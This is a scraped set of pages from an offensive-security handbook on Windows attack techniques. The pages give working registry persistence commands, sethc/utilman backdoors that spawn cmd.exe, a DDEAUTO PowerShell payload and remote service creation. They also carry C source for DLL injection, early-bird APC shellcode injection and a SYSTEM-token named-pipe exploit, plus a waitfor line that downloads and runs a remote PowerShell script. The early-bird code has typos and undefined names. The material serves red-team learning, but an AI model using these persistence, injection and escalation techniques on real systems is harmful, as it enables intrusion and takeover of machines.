[![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fgithub.com%2Ffluidicon.png&width=20&dpr=3&quality=100&sign=a76f452&sv=2)w32time/gametime.c at master · scottlundgren/w32timeGitHub](https://github.com/scottlundgren/w32time/blob/master/gametime.c) To use this for persistence, we can add these registry keys Or use the gametime dll and run the register function from it: [PreviousAppCert DLLs](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appcert-dlls) [NextWaitfor](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/waitfor) Last updated 5 years ago Copy reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\TimeProv" /t REG_EXPAND_SZ /v "DllName" /d "%systemroot%\system32\exec.dll" /f reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\TimeProv" /t REG_DWORD /v "Enabled" /d "1" /f reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\W32Time\TimeProviders\TimeProv" /t REG_DWORD /v "InputProvider" /d "1" /f Copy rundll32.exe gametime.dll,Deregister --- # AppInit Dlls | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appinit-dlls.md) . These DLLs are loaded at process creation, and lives in the registry key at: HKEY\_LOCAL\_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\ Note that we need to set 2 registry keys, one to enable AppInit DLLs, and one registry key pointing to our persistence DLL. Copy HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs - 0x1 HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\LoadAppInit_DLLs - 0x1 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\WindowsAppInit_DLLs HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs Note that this will only persist on executables that have user32.dll loaded since they implement loading AppInit Dlls from registry. Also note that you have many payloads running at once which is very noisy. [PreviousRDP Backdoors](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors) [NextPort Monitor](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/port-monitor) Last updated 5 years ago --- # Local Exploits | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits.md) . We can look for what patches on windows are installed. If a host is poorly patched, you can get a easy priv esc without having to search for poor configurations in the system. The following lists all patches: Copy wmic qfe get Caption,Description,HotFixID,InstalledOn http://support.microsoft.com/?kbid=2654428 Security Update KB2654428 12/24/2014 http://support.microsoft.com/?kbid=2655992 Security Update KB2655992 12/24/2014 http://support.microsoft.com/?kbid=2656356 Security Update KB2656356 12/24/2014 http://support.microsoft.com/?kbid=2667402 Security Update KB2667402 12/24/2014 http://support.microsoft.com/?kbid=2676562 Security Update KB2676562 12/24/2014 http://support.microsoft.com/?kbid=2685939 Security Update KB2685939 12/24/2014 ... Windows Exploit Suggester compares a targets patch levels against the Microsoft vulnerability database in order to detect potential missing patches on the target. It also tells you if there are public exploits or metasploit modules on said exploit. Copy $ git clone https://github.com/GDSSecurity/Windows-Exploit-Suggester.git $ ./windows-exploit-suggester.py --update Before it can determine of the system is missing any patches, we need to dump some data from the system. This command can be used We can then transfer this to our machine and run the script: An \[E\] stands for an exploit has been found in the Off Sec exploit db, and an \[M\] stands for the exploit in the metasploit framework: [PreviousNamed Pipe Impersonation](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation) [NextAlwaysInstallElevated](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/alwaysinstallelevated) Last updated 5 years ago Copy systeminfo > comp_host1.txt Copy ./windows-exploit-suggester.py --database database.xls --systeminfo comp_host1.txt Copy [M] MS15-100: Vulnerability in Windows Media Center Could Allow Remote Code Execution (3087918) - Important [E] MS14-026: Vulnerability in .NET Framework Could Allow Elevation of Privilege (2958732) - Important --- # DDE | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde.md) . DDE is an old MS technology that is used to facilitate data transfer between applications. DDE sends messages between applications that share data and uses shared memory to exchange data between applications. DDE can be embedded in several Office file formats To leverage this attack vector: Open a new MS document and insert a field ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MfsXyc2MITNdgL-Uoch%252F-Mfsh8oT7qT1fZjqDsgu%252Fimage.png%3Falt%3Dmedia%26token%3D937050e2-57cd-4588-a5ce-4a3e02aa59d5&width=768&dpr=3&quality=100&sign=9cc7acbf&sv=2) It will add an "!Unexpected End of Formula" to the document, we right-click it and "Toggle field codes" : ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MfsXyc2MITNdgL-Uoch%252F-MfshCKh-lnlI30XRIft%252Fimage.png%3Falt%3Dmedia%26token%3D2f4a7d19-99b1-4deb-bc97-93c8298e9895&width=768&dpr=3&quality=100&sign=b05c1c01&sv=2) We then replace the = \\\* MERGEFORMAT with the payload: If we save the document, reopen our document and accept the 2 prompts, calculator will popup. Obfuscating Field Codes[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde#obfuscating-field-codes) ------------------------------------------------------------------------------------------------------------------------------------------- (todo) [PreviousField Abuse](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse) [NextPayload Delivery](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/payload-delivery) Last updated 5 years ago Copy { DDEAUTO "C:\\Programs\\Microsoft\\Office\\MSWord.exe\\..\\..\\..\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe start calc # " "required"}​ --- # Macros | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros.md) . [Evasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion) [Info Extraction](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1) [Inline Shapes](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes) [.MAM Files](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files) [PowerPoint](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint) [ACCDE](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde) [Shellcode Execution](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution) [Info Extraction](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction) [Dechaining Macros](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros) [PreviousMS Office](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office) [NextEvasion](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion) Last updated 5 years ago --- # DLL Injection | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/dll-injection.md) . This Forcse a remote process to load our dll of our choice on disk. 1. **Allocate memory in remote process(VirtualAllocEx)** 2. **Copy the path of our dll to the buffer(WriteProcessMemory)** 3. **Locate the address of loadlibrary(GetProcAddress)** 4. **Create a remote thread with the argument of load library and the path to our dll(CreateRemoteThread with address of LoadLibrary and path to DLL)** 5. **Remote process will load our dll** Copy #include #include #include #include #include DWORD FindProcessPid(const char* procname) { PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system if (hSnapshot) { if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name { do { if (strcmp(pe32.szExeFile, procname) == 0) // compares the process name, with our user supplied name { return pe32.th32ProcessID; // if its the same, return the process id } } while (Process32Next(hSnapshot, &pe32)); CloseHandle(hSnapshot); } } return -1; // returns negative one if the process is not found } int main(void) { char dllpath[] = TEXT("C:\\simple.dll"); int pid = FindProcessPid("notepad.exe"); printf("notepad's Pid is %d\n", pid); void *pThreadStart = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"), "LoadLibraryA"); HANDLE han_proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (DWORD)(pid)); void * pRem = VirtualAllocEx(han_proc, NULL, sizeof(dllpath), MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(han_proc, pRem, (LPVOID)dllpath, sizeof(dllpath), NULL); CreateRemoteThread(han_proc, NULL, 0, (LPTHREAD_START_ROUTINE)pThreadStart, pRem, 0, NULL); CloseHandle(han_proc); getchar(); } For the sake of simplicity, all my DLL does is popup a messagebox. Alright, so lets see this in action. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-Jvx8N__qJ0Si__oZ%252Fimage.png%3Falt%3Dmedia%26token%3D2f7a7767-493c-4025-bd97-94e61f839896&width=768&dpr=3&quality=100&sign=fbcb3207&sv=2) ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-HhSXJB0zBMVTaARm%252F-Mh-K-laplqsjuVGo4RM%252Fimage.png%3Falt%3Dmedia%26token%3Df40c74dd-0469-43eb-a8ba-ead253cd09fc&width=768&dpr=3&quality=100&sign=a5d1007d&sv=2) As we can see, the PIDs match. Now lets press enter and see our DLL get injected to the process. We then get a simple "attached" messagebox popup in our notepad process. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-QC-qJAe7mPtJmXWY%252F-Mh-TQYhoEqdy5tVJv5h%252Fimage.png%3Falt%3Dmedia%26token%3D6f725097-d218-44b6-b143-e47d7c351781&width=768&dpr=3&quality=100&sign=70f6a1ac&sv=2) Let's investigate this further. Open up the notepad that got injected into and look at the DLLs of the process. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-QC-qJAe7mPtJmXWY%252F-Mh-TxPOg9vF4zDoYXUh%252Fimage.png%3Falt%3Dmedia%26token%3Dfceb7727-854e-4426-ad15-84a9d62ad37e&width=768&dpr=3&quality=100&sign=f1721ce6&sv=2) As we can see, our payload dll named "simple.dll" is loaded into the notepad process. If we look at the threads of the process, we can see LoadLibraryA(which is used to load our dll) is one of them. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-QC-qJAe7mPtJmXWY%252F-Mh-U9JxZnlGu4BWUuk0%252Fimage.png%3Falt%3Dmedia%26token%3D843747f0-f503-4f27-baf3-5a22719b7311&width=768&dpr=3&quality=100&sign=31491e7b&sv=2) Now lets check to see the strings of notepad and see if the path to our dll is present in there. You can use the simple strings function in the memory tab in process hacker to search for a string. You should be able to find the path to your dll in a memory region like this: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh-QC-qJAe7mPtJmXWY%252F-Mh-UzcvTGGtIASb3EPD%252Fimage.png%3Falt%3Dmedia%26token%3Dda16b606-944d-41a7-82be-4245c1b1d412&width=768&dpr=3&quality=100&sign=d40143a3&sv=2) [PreviousCreateRemoteThread](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/createremotethread) [NextAPC Queue Code Injection](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/apc-queue-code-injection) Last updated 5 years ago --- # Waitfor | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/waitfor.md) . (todo) Copy waitfor /s 127.0.0.1 /si persist waitfor pentestlab && powershell IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.13/script'); [PreviousTime Provider](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/time-provider) [NextWinLogon](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/winlogon) Last updated 5 years ago --- # RDP Backdoors | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors.md) . If you have RDP access to a machine, you can use set these Image File Execution Option keys for persistence. **utilman.exe**[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors#utilman.exe) -------------------------------------------------------------------------------------------------------------------------------- At the login screen, press Windows Key+U Copy REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f **sethc.exe**[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors#sethc.exe) ---------------------------------------------------------------------------------------------------------------------------- Hit F5 a bunch of times when you are at the RDP login screen. Copy REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f #### [](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors#undefined) #### [](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors#undefined-1) [PreviousNetsh Dlls](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/netsh-dlls) [NextAppInit Dlls](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/appinit-dlls) Last updated 5 years ago * [utilman.exe](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors#utilman.exe) * [sethc.exe](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/admin-level/rdp-backdoors#sethc.exe) --- # Service Control | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/service-control.md) . Service Control can create, start, stop query or delete Windows Services in a local or remote computer via SMB. Be aware that the executable must be specifically a service binary as it must be validated by the SCM, otherwise it will exit. Copy sc.exe \\REMOTE create SERVICE_NAME displayname=NAME binpath=“COMMAND” start=demand sc.exe \\REMOTE start SERVICE_NAME [PreviousWMI](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/wmi) [NextDCOM](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/dcom) Last updated 5 years ago --- # Named Pipe Impersonation | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation.md) . Named pipes are a form of IPC technology which allow sharing and communication of data between two processes. The term pipe simply describes the section of shared memory used by these two processes. Named Pipes are a FILE\_OBJECT which is handled by a file system named the Named Pipe File System(NPFS). Because a Named Pipe is a FILE\_OBJECT, interacting and accessing the named pipe is essentially the same as accessing a regular file. Named pipes allow for "Impersonation", which allows a thread to execute in another security context from it's own security context. This usually applies to a Client-Server architecture where a client connects to a server and for some reason, the server needs to impersonate the client to do some other action. For a server to impersonate a client, the client must send some sort of data to named pipe before the server can impersonate the client. The server must also need the SeImpersonatePrivilege or be running as high integrity. For this lab(ish), we are a high level overview of the steps needed to perform this: 1. Create a named pipe via CreateNamedPipe() 2. Create a service 3. Use that service to write data to the named pipe we created 4. Call ImpersonateNamedPipeClient which allows the server to impersonate any client that connects to its pipe 5. Create new process with that SYSTEM token 6. Profit POC[](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation#poc) ------------------------------------------------------------------------------------------------------------------------------ This is a POC that I have stolen from: [https://github.com/zerosum0x0github.com](https://github.com/zerosum0x0) You can read the comments to get a brief overview on what it does, but for a more technical view, I recommend you go over to Microsoft and see some documentation: Compile this and run it. Before we press enter(i put a getchar), lets check for our named pipe with this powershell command ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MhHEearfMQrFe2oCPVO%252F-MhHHeznOcA0cqMnxm4e%252Fimage.png%3Falt%3Dmedia%26token%3Ddee7a60d-599b-4b17-bf3c-7ad07151497b&width=768&dpr=3&quality=100&sign=759429a8&sv=2) As we can see, we can find our named pipe. Now let's continue execution. We should now see a quick text message alerting us that our service creation was successful, and a new cmd popup. Lets check its privs! ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-MhHEearfMQrFe2oCPVO%252F-MhHI-1Yu8iqhADHluTK%252Fimage.png%3Falt%3Dmedia%26token%3D6a909972-8f9c-4b8b-9e75-ce3b8ea0f186&width=768&dpr=3&quality=100&sign=33e84a25&sv=2) As we can see, we are now system. [PreviousNew Service](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/new-service) [NextLocal Exploits](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/local-exploits) Last updated 4 years ago Copy #include #include static const char* g_szNamedPipe = "\\\\.\\pipe\\getsystemyall"; static const char* g_szServiceCreate = "sc create getsystemyall binPath= \"cmd.exe /c echo WUT > \\\\.\\pipe\\getsystemyall"; static const char* g_szServiceStart = "sc start getsystemyall"; static const char* g_szServiceDelete = "sc delete getsystemyall"; DWORD WINAPI getsystem_thread(PVOID lpUnused) { PROCESS_INFORMATION pi; STARTUPINFOA si = { 0 }; si.cb = sizeof(si); char szRead[128] = { 0 }; DWORD dwBytes = 0; HANDLE hToken; HANDLE hPipe; WCHAR cmd[MAX_PATH] = L"cmd.exe"; do { // create the named pipe hPipe = CreateNamedPipeA(g_szNamedPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE | PIPE_WAIT, 2, 0, 0, 0, NULL); if (!hPipe) break; // wait for SC to make connection to the pipe while (!ConnectNamedPipe(hPipe, NULL)) { if (GetLastError() == ERROR_PIPE_CONNECTED) break; } // must read at least 1 byte from the pipe if (!ReadFile(hPipe, szRead, 1, &dwBytes, NULL)) break; // impersonate the client if (!ImpersonateNamedPipeClient(hPipe)) break; // get a handle to the SYSTEM token if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) break; // pop a shell with the system token CreateProcessWithTokenW(hToken, 0, NULL, cmd, CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP, NULL, NULL, (LPSTARTUPINFOW)&si,&pi); } while (0); // cleanup if (hPipe) { DisconnectNamedPipe(hPipe); CloseHandle(hPipe); } return 0; } int main() { DWORD dwThreadId; HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)getsystem_thread, NULL, 0, &dwThreadId); getchar(); system(g_szServiceCreate); system(g_szServiceStart); system(g_szServiceDelete); return 0; } Copy ((Get-ChildItem \\.\pipe\).name)[-1..-5] --- # Early Bird Injection | The Red Team Vade Mecum For the complete documentation index, see [llms.txt](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt) . This page is also available as [Markdown](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/early-bird-injection.md) . APC Injectection into a suspended state. We do not need to wait for it to be alertable in order for it to be executed unlike the regular version of APC queue code injection. Copy #include #include #include #include #include char shellcode[] = { shellcode }; unsigned int pay_len = sizeof(shellcode); int main(void){ STARTUPINFO si = {0}; PROCESS_INFORMATION pi = {0}; void *pRem; CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, &si, &pi); HANDLE hProc = pi.hProcess; HANDLE hThread = pi.hThread; pRem = VirtualAllocEx(hProc , NULL, pay_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProc, pRem, (PVOID) shellcode, (SIZE_T) payl_len, (SIZE_T *) NULL); QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL); getchar(); ResumeThread(hThread); } Here's why it doesn't have to be alertable: let's compile this and run it. Before you press enter, lets see the suspended notepad in process hacker: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5U8mj-fivqpUsaDjr%252Fimage.png%3Falt%3Dmedia%26token%3D363f1c1d-9ba9-4292-b1cb-16e78f83fc9b&width=768&dpr=3&quality=100&sign=287db31f&sv=2) We can see the parent of the process is our executable. We can also see the suspended thread in Process Hacker: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5UZLkmrhgkm07J82Z%252Fimage.png%3Falt%3Dmedia%26token%3Dbbb9eac6-b802-438e-b030-0d11edec85f0&width=768&dpr=3&quality=100&sign=9049bda0&sv=2) And below is our allocated shellcode: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5UjGNoFJowWnN6_Nw%252Fimage.png%3Falt%3Dmedia%26token%3Db142363f-6643-4bf0-a167-1dbed5a643c3&width=768&dpr=3&quality=100&sign=221906fa&sv=2) let's press enter... And we see that our shellcode gets executed automatically which popped up our message box. ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5UzirUQtq_Zs5rslW%252Fimage.png%3Falt%3Dmedia%26token%3D14e8b54f-a1cd-4a50-aa91-37c219046ca6&width=768&dpr=3&quality=100&sign=eb597407&sv=2) Unlike APC queue injection, we did not have to wait. According to this blog: [![Logo](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2Fwww.cyberbit.com%2Fwp-content%2Fuploads%2F2026%2F04%2Fcropped-cyberbit-icon-logo-192x192.png&width=20&dpr=3&quality=100&sign=5aeb3183&sv=2)New 'Early Bird' Code Injection Technique DiscoveredCyberbit](https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/) Here is why it gets ran automatically: * **Every user-mode thread begins execution at LdrInitializeThunk function** * **LdrInitializeThunk calls ldrpInitialize** * **Ldrpinitialize calls into \_LdrpInitialize** * **\_LdrpInitialize calls NtTestAlert** * **NtTestAlert checks APC Queue, notifies kernel which will execute our code** Lets see this in a debugger. Attach the notepad process that was spawned by the early bird injection executable to a debugger of your choice, in this case, I am use x64dbg ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5W0BIAR9SBlFVHeYk%252Fimage.png%3Falt%3Dmedia%26token%3D0baa1d43-0360-49a3-9fab-395bc98b164a&width=768&dpr=3&quality=100&sign=e5359a35&sv=2) Lets then set a breakpoint at our shellcode address in the notepad executable. Go into the "enter expression" option and paste our shellcode address in there and press "ok" ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5WflXSDJ9q0f-F-S0%252Fimage.png%3Falt%3Dmedia%26token%3D5948eb7d-8a24-49fb-9b8b-5a45b3476796&width=768&dpr=3&quality=100&sign=3eeceafb&sv=2) We then land in our shellcode. Then, lets set a breakpoint at the first instruction of the executable: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5WxPLEFKzjGtKIhBO%252Fimage.png%3Falt%3Dmedia%26token%3D2ce3ae0f-8ebb-4148-bd87-07c51f2e7d66&width=768&dpr=3&quality=100&sign=52bc4c9d&sv=2) Lets run our executable now, after we run it, we should hit our breakpoint that we set on our shellcode: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5XFJIAfbd9rGIl3KX%252Fimage.png%3Falt%3Dmedia%26token%3D198cbb28-153f-4ebe-8996-7d8e97b02904&width=768&dpr=3&quality=100&sign=50987be0&sv=2) Now, lets see the call stack before our shellcode was executed in x64dbg: ![](https://kwcsec.gitbook.io/the-red-team-handbook/~gitbook/image?url=https%3A%2F%2F216667902-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-legacy-files%2Fo%2Fassets%252F-MfpNy7QBsIOaHJ1vcf-%252F-Mh5TSfFs25KGzVa-E2_%252F-Mh5YBqbBdsppYMHXkjR%252Fimage.png%3Falt%3Dmedia%26token%3D60d3bb73-da3d-477c-bdb2-57998a43a1bb&width=768&dpr=3&quality=100&sign=a6b26ae8&sv=2) Note that it goes bottom from up, so that means LdrInitializeThunk was called first and then proceeded to call the function above, and the function above called the function above itself etc. Let's look at the NtTestAlert function because its the function that actually puts it in an alertable state based on the bullet points above. Double click the NtTestAlert function. 